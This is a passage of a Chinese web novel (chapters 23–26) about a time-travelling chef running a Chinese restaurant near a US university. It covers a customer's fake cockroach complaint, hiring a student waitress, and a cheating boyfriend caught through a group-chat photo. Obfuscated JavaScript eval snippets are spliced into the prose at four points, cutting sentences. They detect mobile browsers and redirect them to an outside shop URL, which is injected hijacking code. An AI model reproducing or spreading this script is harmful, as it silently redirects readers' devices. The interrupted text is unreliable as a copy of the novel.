正要脱下帽子，卸下伪装，跟群里的小伙伴打招呼，忽然瞥见旁边餐桌也有一个包裹得严严实实的男人。 不是中国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210363|196118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人，而是白人。 看起来大概有三十多岁，就算戴着帽子和墨镜，一身休闲装，也遮挡不住他茂密的手毛。 之所以注意到他，也不光因为他是众多华人里少数的外国人。 毕竟也有中国留子带关系要好的外国人来。 而是因为他的行为实在有些鬼祟，不像个好人。 刘奕眉头一皱，正想去套个话，身旁出现一个胖胖的身影。 “沙姜黄油鸡啫啫煲来了。” 莉莉把砂锅放在竹垫上，用一口接近纯正的中文报完菜名，提醒刘奕，“小心烫。” 刘奕一愣，抬头看见一双亮晶晶的眼睛，就像公寓隔壁那家汉语学习班里，学会一句汉语就迫不及待求老师表扬的孩子。 他不禁一笑，同样用中文说道：“谢谢。” 莉莉雀跃道：“不用谢，祝你用餐愉快。” 待莉莉迈着雀跃的步伐离开，刘奕心道：这女孩还挺可爱的。 不过经过这么一打断，他也忘了刚才要做什么，只盯着面前啫啫响的黄油鸡煲，一时间挪不开眼。 砂锅还噗噗地冒着白汽，带着一股子横冲直撞的香味，直往脸上扑。 不是。 这也…… 太香了吧？！ 不仅如此，看起来也很诱人啊。 砂锅里的鸡块分量十足，紧紧挤在一起，鸡皮煨得金黄透亮，有点像金包蜜的琥珀，底下的黄油在热量中化开，浇灌在白花花的鸡肉上，丝毫不寡淡，沁着淡淡的油黄，还有沙姜和酱油炒制的酱色。 最动人的是挨着砂锅的那几块鸡，鸡皮被高温煎出赭石色，带着一缕格外馋人的焦香。 刘奕也顾不上烫，夹起一块鸡肉，迅速吹了两口就放进嘴巴里。 满口油香。 这种香是鸡本身的黄油香味，一点也不腻，在沙姜的衬托下，反而吃出一点类似冰激凌一样的甜。 肉是嫩的，嫩得不像话。 牙齿轻轻一咬，肉就顺着纹理散开，咸里带甜，甜里带辛，辛里又透出焦香，一层一层地铺开，像潮水，退下去又涌上来，怎么也吃不腻。 他又夹了一块贴着砂锅的焦皮鸡。 皮是脆的，肉是嫩的，两种口感在嘴里打架，打到最后谁也分不清谁，只能感觉到令人欲罢不能的焦香，有点像老火汤的苦。 偏偏就是这点苦，把所有味道都吊起来了，让甜的更甜，咸的更咸，香的更香。 吃到一半，底下的汁还在啫啫地响，那些沙姜沉在锅底，被汁水煮得软了，香气全逼出来，融进每一滴汤汁里。 刘奕用筷子拨了拨，发现底下还藏着几瓣蒜，煨得透了，软烂如泥，用筷子一夹就扁了，送进嘴里，是糯的，甜的，没有半点生蒜的冲。 居然比鸡肉还让人上头！ 他筷子舞得出神入化，头也不抬，只一味地吃吃吃。 很久都没这么畅快地吃过一顿饭了。 吃到最后，食材都吃完了，砂锅还是烫的。 他抬起头一看，其他桌上的人大多跟他一样，连话都顾不上说一句，只有偶尔溢出的“好烫好烫”“好吃好吃”“这个虾绝了，特鲜甜”“牛肉好嫩啊怎么这么好吃”“我将心甘情愿为食记献上我的钱包”。 听得刚吃完一份啫啫煲的刘奕又馋了。 他摸了摸肚子。 或许，还可以再来一份。 牛肉的？还是海鲜的？ 正当他纠结的时候，隔壁桌那位狗狗祟祟的白人突然拍了下桌子。 大喊： “哦上帝啊，我的锅里竟然有一只肥蟑螂！” 23. 出口恶气 这么一喊，餐厅里所有人都为之一颤。 负责这几张桌子的莉莉不知所措，求助的目光投向柜台的丽萨，后者已经绕出柜台朝这边走了过来。 “先生，发生什么事了？” “你看不见吗？我的食物里有一只恶心的虫子！” 话音刚落，丽萨当即认出眼前的顾客。 “强尼？上帝啊，你来这做什么。” 强尼被认出来，也不慌张，把脑袋上的毛线帽脱下来，甩在桌子上，“当然是听说餐厅开业，特意来为你捧场，你应该感谢我的，宝贝。但不得不说，你们的餐品太令人失望了。” 丽萨看出强尼是故意来找麻烦的，显然被气得不轻。 之前她想申请大学食堂的档位，不敢得罪强尼，面对他的骚扰也只能躲避拒绝，现在有了唐宁，她不需要再看他眼色，说起话来也不客气。 “得了吧，别以为我不知道你打着什么主意。你只是因为在学校服务中心被宁当众用功夫打趴在地上，丢了面子，所以才故意耍这些小心思来搞破坏。” 被当众爆出糗事的强尼恼羞成怒，“你这个臭娘们儿！” 他猛地站起身，抬起手臂，眼看肥大的巴掌就要落下，旁边的顾客都吓坏了，发出一声尖叫，刘奕正要去拦，却没来得及。 因为强尼的手腕已经被一只纤长白皙的手扼住了。 唐宁不知什么时候从厨房里出来的，她钳制着对方的腕肉，面色从容，语气平静，“先生，如果你还要动手，我不介意立刻报警。” 长着一张漂亮的东方面孔的唐宁乍然出现，身上还穿着一身厨师服，顿时引得餐厅里的顾客们一阵惊呼。 “原来餐厅里的厨师是中国人！” “我就说嘛，外国人怎么可能做出这么好吃的中餐！” “小姐姐不仅厨艺好，还武力值爆表诶！” “救命啊，好帅啊，我脸莫名其妙地就红了。” “确定不是吃得太心急被鸡翅烫的？” 强尼转眼看见力量依旧强悍的唐宁，脸部肌肉下意识抽搐一下，他着急忙慌的要挣脱手腕，生怕再次被撂翻在地。 见他行为有所收敛，唐宁也不打算为难他，一松手，对方当即栽坐在椅子上。 唐宁居高临下地望着他，只默默将莉莉和丽萨挡在身后，却也没打算再对强尼怎么样。 毕竟现在是在餐厅里。 来者是客。 顾客是上帝。 何况，还有这么多上帝看着呢。 强尼也看出她有所顾忌，龇牙咧嘴地揉了几下发疼的手腕，对唐宁说道：“好好好，我们就来讲法律。作为美利坚顾客，我有权利保障自己的合法利益不受侵犯，可我却在你们的食物里吃到了蟑螂，这对我的身心都造成了巨大的伤害，我希望你们给我合理的解释和赔偿。” 唐宁自小见惯了家中酒楼里那些蝇营狗苟之辈。 动辄拔根头发塞只虫子在餐食里，不过是为了赖掉饭钱，顺道讹些银两，最差也就是仇家雇来砸招牌毁生意的。 再寻常不过的伎俩，却也够恶心人的。 好在耳濡目染之下，她有自信能处理这点小事。 正要大展拳脚的唐宁看了一眼气焰嚣张的强尼，又瞥了眼桌上吃得精光的啫啫煲。 “……” 突然，感到一阵无力。 “你的意思是，在锅里有虫的情况下，你吃完了整锅食物，然后提出我们的餐食不干净是吗？” 唐宁不疾不徐的反问，引得顾客们的目光齐刷刷地投向了强尼的啫啫煲，只见被吃得金光的锅底，正躺着一只孤零零风干不知道多久的双马尾，身旁连根配菜都没有。 顾客们：？ 老登你要不自己看看，这有说服力吗？ 听完丽萨的翻译，强尼察觉到周围不善的眼神，脸上划过一丝尴尬，心里顿时也觉得自己的行为有些荒谬。 可这怎么能怪他呢？ 原本他是想等菜一上桌，就把准备好的虫子放进去的。 他才不屑吃猪食。 可一闻到那扑鼻的香味，他就情不自禁地拿起了叉子，尝过一口后，更是像被一瞬间摄取了魂魄，完全不受控地一口接着一口吃了起来。 等他反应过来的时候，一锅食物已经被他吃得渣也不剩。 可他打从心底看不起这些中国人，认为他们是劣等种族，智商低下，很好糊弄，所以就把虫子丢了进去。 他不仅要他们赔他一大笔钱，还要拿着证据去食品卫生管理局投诉他们！ 这样才能狠狠出一口恶气。 然而，现实却没有朝着他想象中的方向发展。 他仿佛气急败坏，“就算没有蟑螂，你们的食物里一定加了别的！说不定是罂粟，也说不定是□□！” 正因强尼的愚蠢行为而纷纷摇头的顾客：？ 骂谁呢？ 还不等唐宁她们反应，刘奕当即被气笑了，用英文大声说道：“我一进门就看见你鬼鬼祟祟不对劲，就差把阴险两个字印脸上了，你不想吃就滚出去，别想毁了食记！” 餐厅里的留子们也群脸义愤填膺。 食记要是没了，上哪儿还能找到这么好吃的中餐？！ 断人财路，犹如杀人父母。 毁人食物，宛若…… 管它若什么，给你祖宗十八代的棺材板都给掀咯！ 强尼还想说什么，还没来得及开口，就被几个身强体壮的热血留子架起来，扔出了餐厅，强尼自知双拳难敌四手，骂了几句脏话，竖着中指灰溜溜地跑了。 唐宁也没拦着。 刘奕回来后，看了眼唐宁，迟疑一瞬，把几张现金递给丽萨。 “这是那老登身上的现金，应该差不多够餐费。” 这倒是让唐宁惊喜了一下，还以为要赔一单生意，她示意丽萨可以收下，转头进厨房给帮忙扔老登的几位客人，每人送了一只卤味鸡腿。 几个男生大为惊喜，啃鸡腿啃得愈发有劲儿。 这卤料好香啊！ 鸡腿肉也好紧致，还有肉汁儿！ 太好吃了！ 下次有这种好事，一定还干！ 不过最好还是没下次。 其他客人看得眼馋，倒也没什么意见。 毕竟人家是帮了餐厅的忙，实打实地出了力气。 况且。 他们也有免费的菊花茶和重阳糕！ 一点都不羡慕。 哼。 但是，能不能别吧唧嘴？！ 经过强尼这么一闹，食记的名声非但没有被毁，反倒更加声名远扬。 一个中午过去，才在yelp注册成功的食记，已然好评如潮，荣登本地推荐新餐厅No.1。 餐厅规模不大，偏巧遇上周末和重阳节，又有了中午那一拨顾客的点评加持，其他区域以及在岛上被馋了一整周的留子们，终于逮到机会来到食记。 傍晚，偏僻深长的街道里排起了长队，餐厅的生意如火如荼。 主要还是以留学生和华人为主。 卤味拼盘里新增 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“目前来看，餐厅里的营业状况不错，为了减轻丽萨和莉莉的负担，也为顾客有更好的用餐体验，我认为应该再多聘请两名服务生，薪水我也可以出一半。” 对此，丽萨和莉莉表示双手赞同。 戴维也没有意见，唯一的一点就是，“唐，你不必出薪水，这应该是老板该考虑的事情。” 唐宁诧异一瞬，心下一暖，轻轻摇了摇头，“你给我的报酬已经很丰厚了，我现在不缺钱。只要把餐厅好好经营下去，长此以往，我的生活费和学费都不成问题，这一点你不用为我担心。” 见唐宁坚持，戴维也不再多说什么。 丽萨说：“我会在学校服务中心留意的，需要打工的留学生每年都有很多。” 唐宁想了下，“最好是中国人。” 这么说并非唐宁有什么别的心思，纯粹是考虑到食记是一家中餐厅，有华人服务生会更加有说服力，而且餐厅顾客大多还是中国人，交流起来会更加便捷，也会更加有亲切感。 凯耶一家都表示赞同。 “不过，只招中国留学生的话，就得看运气了。” 丽萨看向唐宁，眨了下眼，带着玩笑的语气道：“毕竟不是所有华人留学生，都会像宁一样，一夜之间变成穷光蛋。” 唐宁：…… 24. 辣椒圈拌面 “不不不，宁。” “这里你不用说‘服务员，你能否给我一份热气腾腾的内装是肉馅的小面包，十分感谢你对我的帮助。’” 苏珊坐在岛台边，不太熟练地用筷子把碗里的面条卷在一起，塞进嘴里，含糊不清地说道：“这些词汇都太高级了，我们平时交流根本不会这么说，会显得你很装。” 餐厅里留的夜宵是肉，唐宁不习惯晚上吃太油腻，而且时间太晚了，便没在餐厅里吃，而是回家简单做了碗辣椒圈拌面。 贝内特太太担心再吃下去会变胖，见唐宁安全回来后就直接上楼睡觉了。 主打一个眼不见为净。 苏珊照例给唐宁补习英文，两人就在岛台边吃边学。 唐宁默默放下筷子，划掉笔记本上的常用句式，继续请教苏珊。 “那应该怎么说？” “你只需要说‘给我一个肉包，谢谢。’” “那这句，‘超级市场经营者，请问你知道由马铃薯切片油炸之后做成的薯片在哪？’怎么说？” “打扰一下，薯片在哪？” “……就这么简单？” “是的，就这么简单。” 唐宁：…… 那她没日没夜背单词拼命提升词汇量算什么？ 她看了眼教材上名为“李明”的短发小男孩，之前还觉得他长相颇为端正，没想到在真实的美利坚，他是个“装货”。 顿感力竭。 苏珊吃完最后一口面，嘴巴已经被辣肿了，灌了几口冰可乐，还是意犹未尽，扫了一眼锅里剩下的拌面。 唐宁福至心灵：“我吃饱了。” 苏珊眼睛一亮，把自己面碗往旁边一推，直接抱起锅继续斯哈斯哈。 明明只是简单的红绿辣椒切成圈，在热油里炒了几分钟，加上酱油蚝油盐和几撮芝麻碎，用来拌面怎么能这么好吃？ 劲道的面条裹上咸鲜的辣椒圈儿。 大半夜时吸溜几口，配上一瓶冰可乐，简直太过瘾了！ 完成今日宵夜，划掉，学习任务之后，苏珊洗碗，唐宁趴在岛台上跟她聊天，聊着聊着有点走神。 苏珊看见她眉头微蹙，不禁问道：“你在为自己的英文而担心吗？没事的，你很聪明，我敢保证不到半年，你就可以丢掉你手里的翻译器了” 唐宁回神，笑道：“有你的悉心指导，我怎么会担心？” 苏珊得意一笑，而后擦擦手，“那你是有什么心事吗？可以跟我说哦。” 唐宁：“倒也不算是心事，只是最近餐厅有点忙不过来，我在想应该去哪里招服务生，最好能招到中国人。” 招工市场稂莠不齐，面试挑人得花上一段时间，她更倾向于留学生。 一方面是万一有跟她同样境况的，也好拉一把。 另一方面是留学生相对安全，他们做事有顾忌，极少可能会做出格的事，影响好不容易得来的留学机会。 可学校里的同学她都不熟，冒然去问怕被当成骗子。 左右仔细一盘算，她忽然想起顾客提起的留学生群。 然而。 群里不是在国内考试就认识的同学，就是刚入校的抱团留子。 她这个被一张机票送到这里，不住校不参加社团，还因一开始不熟悉这个世界的规则，行为逻辑比较异常，被当成是怪胎的留子，自然而然被排除在外。 不然的话，在符合条件且相对集中的群里找人再适合不过。 苏珊听后也深以为意。 可惜她也接触不到那个群，帮不上唐宁的忙。 “要不是餐厅里有丽萨·凯耶那个女人，我倒是可以先去帮你打几天工，不过……实在抱歉，宁，我无法忍受跟那个女人共处一室。” “我能理解，谢谢你苏珊，听我啰嗦这么多。” 苏珊耸耸肩，“不客气，好好睡一觉，说不定事情明天就能解决了。” …… 唐宁洗了个澡，解了一身的乏，舒舒服服躺在床上，拿起手机一看，还不到十二点。 她点开小某书，上传今日的新菜。 如今，她的账号已有几千个关注，因她的账号名叫食记。 一开始只是为了记录每天做的菜，却没想到餐厅整改后，丽萨特意来让她给餐厅起个新名字，意为重新开始。 她思忖片刻后，便把这个名字给了她。 丽萨当即拍板，让戴维重新做了招牌。 唐宁依旧每天上传自己做的菜，先前对她“恰烂钱”的质疑声，也随着食记的生意步上正轨而逐渐消散。 发完笔记，她又照旧刷了一会儿手机，研究了一下现在的新式菜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223642|196118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谱。 正准备关手机睡觉，消息提示里的几十个赞中还有一条私信。 出于好奇，她点开看了一眼。 居然是先前痛斥她恰烂钱的“疯帽子没帽子”。 【博主你好，我叫刘奕，今天我去食记餐厅吃饭，吃到了我这辈子吃过最好吃的啫啫煲。我知道先前误会了你，还在公开评论里说你恰烂钱，我想郑重地向你道个歉。】 【对不起。】 【我也已经在之前那篇笔记里公开道歉，如果有需要的话，我也可以去跟当时看到我言论的momo们私信，把事情解释清楚，挽回博主的声誉。】 唐宁微讶于他道歉态度的诚恳。 不仅公开姓名，真诚道歉，还做出了实际行动去弥补错误。 实在难能可贵。 她下意识点开对方主页，看了一眼对方的资料，发现对方也是华裔。 还一不小心看到他发的健身日常。 【事情已经过去了，况且对我来说，并没有产生太大影响，不必放在心上。】 【另外，今天谢谢你出手相助，替我们赶走捣乱的顾客。】 刘奕收到这条回复的时候，也惊讶不已。 没想到对方记得自己，还反过来感谢他。 【不用不用，当时帮忙的不止我一个，更何况你还奖励我们大鸡腿，该我谢谢你的。】 奖励？ 唐宁不自觉笑了下。 莫名觉得对方的形象瞬间变成了一只威风凛凛的大狗狗。 两人谢来谢去了好一会儿，都对彼此印象更好。 刘奕忽然想起今天在餐厅里，那位一只手钳制住闹事顾客的女孩。 【冒昧问一句，你是食记餐厅里那位中国厨师吗？】 【是的。】 刘奕心道：还真是她。 幸好他及时认错，不然很难不怀疑自己会不会是下一个强尼。 他心有余悸地夸了唐宁几句，也得知唐宁其实也是附近学生，见时间有点晚了，他迅速结束话题。 【都是中国留子，如果有什么需要帮忙的，你尽管开口，也算是为我的行为做一点小小的补偿。】 本来是句客气的话，没想到对方立马就回了一句： 【如此的话，你有没有留学生群？】 刘奕：？ 25. 酸菜羊肉锅子 当晚，唐宁就被拉进了留学群。 在夜猫子们的热情欢迎下，唐宁自我介绍一番，为免不必要的麻烦，她只说自己是哈斯顿大学的新生，并没有说自己是食记的主厨。 招人的信息，也是刘奕帮忙发布的。 消息一发布，群里沉默了十几秒钟，紧接着就有人问刘奕是被盗号了，还是被绑架了，是的话就眨眨眼。 毕竟一周前，他还在群里开大嘲讽食记。 当时被怼过的人一个都没放过他。 知道唐宁正在群里看着，刘奕尴尬至极，但还是坦然认错，站立挨打，最后把话题又拉回到招人的事上。 一听说食记招服务生，很多人都想来。 辛苦是辛苦了点。 但薪水待遇不错，差不多跟唐人街一个水平了。 更何况还包两顿正餐和一顿夜宵。 光是这一条就足以让人趋之若鹜了。 可经过一番激烈的讨论之后，发现要么离得太远，要么已经有了工作，再要么就是还没有申请到工卡。 到最后只有一个哈斯顿美术学院的大二生符合条件。 次日一早。 刘奕带着文思瑶来到了食记。 唐宁和戴维一看，居然是个身材瘦弱的女孩，文文静静的，面容清秀，扎着马尾，看起来比唐宁还小。 两人对视一眼，第一时间提出核实对方的身份信息。 所幸文思瑶带的资料够齐全。 在老板和主厨专心研究资料的时候，文思瑶有些紧张，干净白皙的手指攥了一下洗得发白的衬衣衣角。 这一幕恰好被唐宁瞧见。 她不着痕迹地打量了眼对方单薄的衣着。 看得出来。 她是真的很需要这份工作。 不过跑堂这活儿看重的是态度热情，做事麻利，可眼前这位“学姐”，从一进门到现在，除了基本问答以外，几乎不怎么开口说话，属于性子内敛那一类。 唐宁稍微有些犹豫。 “周末餐厅比较忙，工作强度很大。试用期半天，从早上11点到下午3点，你若能适应，我们再定不迟。如若不成，我们也会支付你时薪，你觉得可以吗？” “没问题！” 见事情基本定下来，刘奕也不禁松了口气。 总算是帮上忙了。 拎着唐宁表达谢意的一盒卤味，刘奕兴高采烈地离开了。 距离开门营业还有一个小时，文思瑶也没说要走等11点再来，而是直接跟着丽萨进了后厨，帮着一起洗菜。 唐宁看见，便跟丽萨叮嘱道：“记得她的时薪从10点开始算。” 没等丽萨应声，文思瑶连忙摆手：“不用不用，我不是想多拿一个小时时薪才留下的，只不过学校公寓离这有点远，我想着回去再过来有点麻烦……” “我知道的。”唐宁笑道，“但这是你理应所得的，不必推拒。” 文思瑶一顿，不再推诿。 只是洗菜的动作愈发卖力了。 趁着这功夫，丽萨跟她大概介绍了一下工作任务，文思瑶一边干活，一边细心记在脑海里。 快到营业时，门外不出所料已经排起了长队。 文思瑶不等丽萨吩咐，直接提起茶壶去给顾客上茶，丽萨挑挑眉，见她执行能力如此之强，索性按照正常工作量，给她分配了三张桌子。 不知是文思瑶太聪明，还是以前做过服务生有经验。 她上手十分迅速，且条理清晰，在初次面对巨大客流量的情况下，没有搞错过一张订单。 期间有几位客人等得太久，有些不耐烦，催单的时候声音大了些，她也能微笑着应对，几句话就让客人的情绪瞬间被安抚好，如沐春风似的。 甚至在有余力的情况下，她也没闲着，而是主动去帮语言沟通不顺利的莉莉。 一中午过去，顾客们心满意足离开餐厅，丽萨和莉莉也觉得轻松不少，强烈要求唐宁和戴维留下文思瑶。 唐宁也着实没想到她干起活来这么出人意料，当即点头同意了。 戴维自然也没意见。 事情敲定，皆大欢喜。 丽萨把非营业的牌子挂在门前，见莉莉已经拉着文思瑶在大厅交流起了中文。 不多时，唐宁端着一锅酸菜羊肉锅子从后厨走出来，身后跟着戴维，端着一盘刚烙好不久，还热气腾腾的大饼。 “开饭。” 话音落下的同时，文思瑶从自己的背包里拿出一张饼和一包咸菜。 她的饼不如唐宁烙的好看，有点像面没发好的死面饼，一看就是自己做的，没做好，却也舍不得扔。 咸菜是超市最便宜的那种榨菜丝。 见她大有“吃糠咽菜”之势，唐宁问道：“你是不是不吃羊肉？还有什么忌口，可以提前告诉我。” 文思瑶一怔：“啊？” 唐宁见她一脸懵，解释道：“餐厅是包两餐加一顿宵夜的，你不知道吗？” 文思瑶又是一怔。 昨天无意中在群里看见大家说有餐厅招服务生，她怕错失这个机会，压根就没仔细看福利，只看到时薪高，确定真的有这家店以后，就赶忙私信刘奕了。 “啊，抱歉，我不知道，我自己带了吃的。” “没事，一起吃吧。” 文思瑶还想说什么，丽萨撑着下巴打断她道：“不吃不给转正哦。” 黑色的锅里金灿灿的汤还在咕噜咕噜冒着泡，热气将酸菜羊肉的香味氤氲进空气里，文思瑶抿了下唇，实在没抗拒住这诱惑，带着自己的大饼和咸菜坐了过去。 “那，我就不客气了。” 唐宁把筷子递给她，文思瑶道谢。 等大家都开始动筷子/叉子后，文思瑶才贴着锅边夹了一小根被汤煨得半透明酸菜。 酸菜入口的一瞬间，味蕾仿佛被一瞬间打开，酸菜的酸，泡椒的辣，肉汤的浓香，顺着喉咙落进胃里，酸爽开胃，嘴巴还不停地开始分泌口水。 文思瑶默默咬了口大饼，止住了口水，突然觉得手里的大饼好像也变得没那么难吃了。 唐宁有意无意地观察着文思瑶，见她只小心翼翼地只吃着酸菜，一块肉也没动，拿了几只汤碗出来，给每个人都盛了一碗肉汤。 “最近天气冷，多喝点汤暖暖身子，吃点肉才能有力气服务晚上的顾客。” 文思瑶放下发硬的饼，接过汤碗，见自己碗里满满当当的都是羊肉，不见一根酸菜，不禁讶异地抬头看了眼唐宁。 唐宁示意她吃。 文思瑶许是第一次遇上这种情况，居然有些手足无措。 她只能依言端起碗，先喝了一小口汤，酸爽的香气再次唤起食欲，然后夹起炖的脱骨的羊排，咬了一口。 “……” 好，好好吃。 羊肉鲜嫩无比，肥的部分晶莹，瘦的部分酥软，一口下去不像是在吃肉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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没等文思瑶解释，丽萨揪了一下妹妹的脸颊，“当然是好吃哭了，你不是应该很有经验吗，我亲爱的妹妹。” 直到现在，丽萨还记得那个粢饭团的味道。 那是第一次，莉莉吃到好吃的没有分享给她，她到现在还记仇呢。 莉莉小脸一红，看向文思瑶的眼神愈发亲昵。 好似在说：是吧是吧，我感同身受过的，姐妹，宁做的东西世界第一好吃，就是能让人好吃哭的！ 见她挤眉弄眼的可爱模样，大家都笑了。 文思瑶顿时有种好似跟大家认识很久的错觉，情不自禁也跟着笑了起来。 说说笑笑吃完了一顿饭。 短暂的休息过后，又到了晚餐的营业时间。 餐厅门开，顾客盈门。 丽萨负责的其中一桌，刚好是老顾客赵轩，带着一位一身高奢的白人女孩落座。 赵轩十分熟稔地跟对方介绍了这家餐厅，还替她点了一份海鲜啫啫煲，自己要了份比翼双飞啫啫煲。 丽萨写好订单，视线在两人之间转了转。 “还有什么需要吗？” 赵轩摆摆手，示意没有了。 丽萨刚一转身，听到白人女孩问赵轩：“比翼双飞是什么意思？” 赵轩解释：“就是我和你一起在天空中自由飞翔的意思。” 丽萨猛地回头，恰好看见白人女孩在赵轩脸上亲了一口，两人在桌上拉着手，赵轩在她手背上落下一吻，笑得一脸暧昧。 “哇喔，没记错的话，这已经是本周第四个了。” 26. 闹剧上演 丽萨站在出餐口，将赵轩的土味情话讲给唐宁听。 唐宁抖了一手臂的鸡皮疙瘩，差点连碗都没端住。 原本打算听过笑一下也就算了，她也没放在心上，却没想到，丽萨话锋一转，说他是食记开业第一天来的那对小情侣之一。 “自从餐厅开业之后，他每天都来，有时午餐有时晚餐，但每次带来的女孩都不一样，都是一身名牌的白人女孩。” “更令人惊讶的是，每次他都让女孩们买单。” 丽萨语气明显带着鄙夷。 AA也就算了，可他每到付账的时候，不是忘带钱包，就是忘带信用卡，女孩们看他手脚无措的样子，都十分体贴地主动提出付账单和小费，他就一脸歉意地说等回到公寓就还给她们。 可这些女孩们一身名牌，显然根本不会在意这点小钱。 哼，典型的软饭男。 听完，一直在后厨的唐宁始终没对上号，丽萨便暗戳戳地朝一个不起眼的位置点了点下巴。 唐宁侧头透过玻璃窗口看过去，当即看到一张些许眼熟的脸，可他对面坐着的，显然不是那天的中国女孩。 毕竟是第一个顾客。 她至今仍记得那天女孩吃得十分满意，还夸奖了莉莉的中文，临走前不仅给了不少小费，还打包了一大份卤味。 对了，连后来的顾客，也都是看到她在留学群里的安利才来光顾食记的。 见赵轩和白人女孩两人勾着手，说话时凑得极近，唐宁忍不住蹙了下眉，“这个女孩知道他有女朋友吗？” 丽萨耸耸肩，“谁知道呢？” 在美利坚，开放式关系太常见了。 无论是两个女人共享一个男朋友，还是两人男人共享一个女朋友，甚至多角关系，无论见到哪种她都不奇怪。 反倒是赵轩这么吝啬的男人倒是十分少见。 所以一开始发现赵轩带不同女孩来餐厅，她也没觉得有什么，今天纯粹是被他调情的话给恶心到了，才忍不住跟唐宁吐槽两句。 作为一个古人，尽管唐宁早已将男人三妻四妾视作寻常，但穿到现代社会中，接受到原主的记忆，才知道现代文明社会中“一生一世一双人”才是寻常。 怎么这人还越活越回去了？ 见唐宁脸上颇有不忿，丽萨似是看穿她的意图，提醒道：“宁，我不确定你想做什么，但我建议在事情没有搞清楚之前，最好不要轻举妄动。” 唐宁颔首道：“我明白你的意思。放心吧，我不会乱来。” 她让丽萨先去上菜，等文思瑶来出餐口取菜的时候，状似随意问道：“门口有多少人在排队？” 文思瑶没想到她会问这个，顿了一下，才回道：“刚才我去看的时候已经排到街口了，大概十几位，已经送了茶出去，送完这桌我再去看看。” “不忙。” 唐宁看了眼窗外排排坐等位的顾客，“我看群里还有人在往这边赶，你拍张店里的照片发群里，让离得远的人别赶了，后厨的食材怕是卖不到他们排队进来的时候。” 文思瑶感慨唐宁的细心，郑重地点了下头。 “好。” 几分钟后。 一张食记餐厅里的全景照出现在了群里。 【后厨食材即将告罄，大家不要跑空啦——】 群里顿时哀嚎一片。 【别啊，让食材宝宝们再坚持一下，我已策地铁狂奔，还有20分钟抵达战场！】 【是啊是啊，盼星星盼月亮盼一周了，我好不容易才腾出空！】 【还好我有先见之明，昨天一早就去排队，一进门就吃上了哈哈哈哈，另外，黄油鸡啫啫煲简直绝了！】 【啊啊啊啊馋死我了，我因为去爬山错过了什么美味！】 【我就不一样了，男朋友已经帮我占好位置了，让我化个美美的妆再出门，嘻嘻。】 【好好好，吃不到食记，就吃你狗粮是吧？】 【等等，我好像在照片上看到我男朋友了！】 【？？？】 【不是，他对面那女生是谁啊？他们为啥拉着手，还笑得那么暧昧！？】 原本还在对周末限定啫啫煲如饥似渴的留子们，瞬间被这一突如其来的八卦吸引了注意。 【哪个哪个？说不定只是同学或是朋友，圈出来我帮你鉴定一下。】 【照片最右下角。】 【我去，姐妹，你头上有点绿啊，这眼神都快要拉丝儿了。】 【别说眼神了，光是这脸跟脸的距离，说下一秒要亲嘴我都信。】 【哟嚯，嘻嘻不嘻嘻。】 【……赵轩这个王八蛋，老娘现在就去找他！】 【！！！有没有留子在现场？求直播！】 彼时，赵轩还在沉迷于散发自己的男性魅力。 “凯蒂亚，你知道吗？你的眼睛就像慢慢涨潮的大海，我第一次见到你时，差点溺毙在里面。” 凯蒂亚拥有一双蓝色的眼睛，被赵轩深情地夸赞，她笑得十分开心，倾身靠近他，“如果你愿意的话，我也不会介意。” “真的吗？” 赵轩欣喜地像得到了什么了不得的奖励，慢慢靠近凯蒂亚。 正当两人即将吻上，身侧传来一道戏谑声。 赵轩转头，见丽萨站在桌旁，微笑着说了一声“当心”，转而把啫啫煲放在餐桌上。 “浓酱海鲜啫啫煲和比翼双飞啫啫煲，祝两位用餐愉快。” 不知是不是错觉，赵轩感觉丽萨那句“比翼双飞”的英文说得很意味深长。 正想去看她表情，丽萨已经转身走了。 凯蒂亚见他视线一直盯着丽萨，“赵，怎么了？” 赵轩恍然回神，笑着说道：“没什么，快尝尝吧，这家中餐水平不错，味道不比你常去的那家米其林三星差。” 凯蒂亚挑了下眉，显然不以为意，却很体贴地没有反驳他。 直到裹着浓郁酱汁的章鱼脚钻进嘴里。 入口脆嫩，稍一咀嚼，齿间就溢出咸香微甜的酱汁，非但没有盖过章鱼脚的鲜味，反而衬托得更加好吃。 “哇哦，这是什么酱汁？我从来没吃过这个味道，简直太不可思议了！” 赵轩见她喜欢，喜上眉梢，“我的公主喜欢就好，没有什么比这更重要的了。” “她是你的公主，那我是什么？” 熟悉的声音传来的一瞬间，赵轩还以为是幻听。 直到身穿皮衣的身影跃入眼帘，他心脏一紧，抬头朝餐桌旁的人看去。 “梁薇，你，你怎么这么快就来了。”赵轩慌忙起身，拽住梁薇的手，试图把人往餐厅外带，“不是约好八点见面吗？” 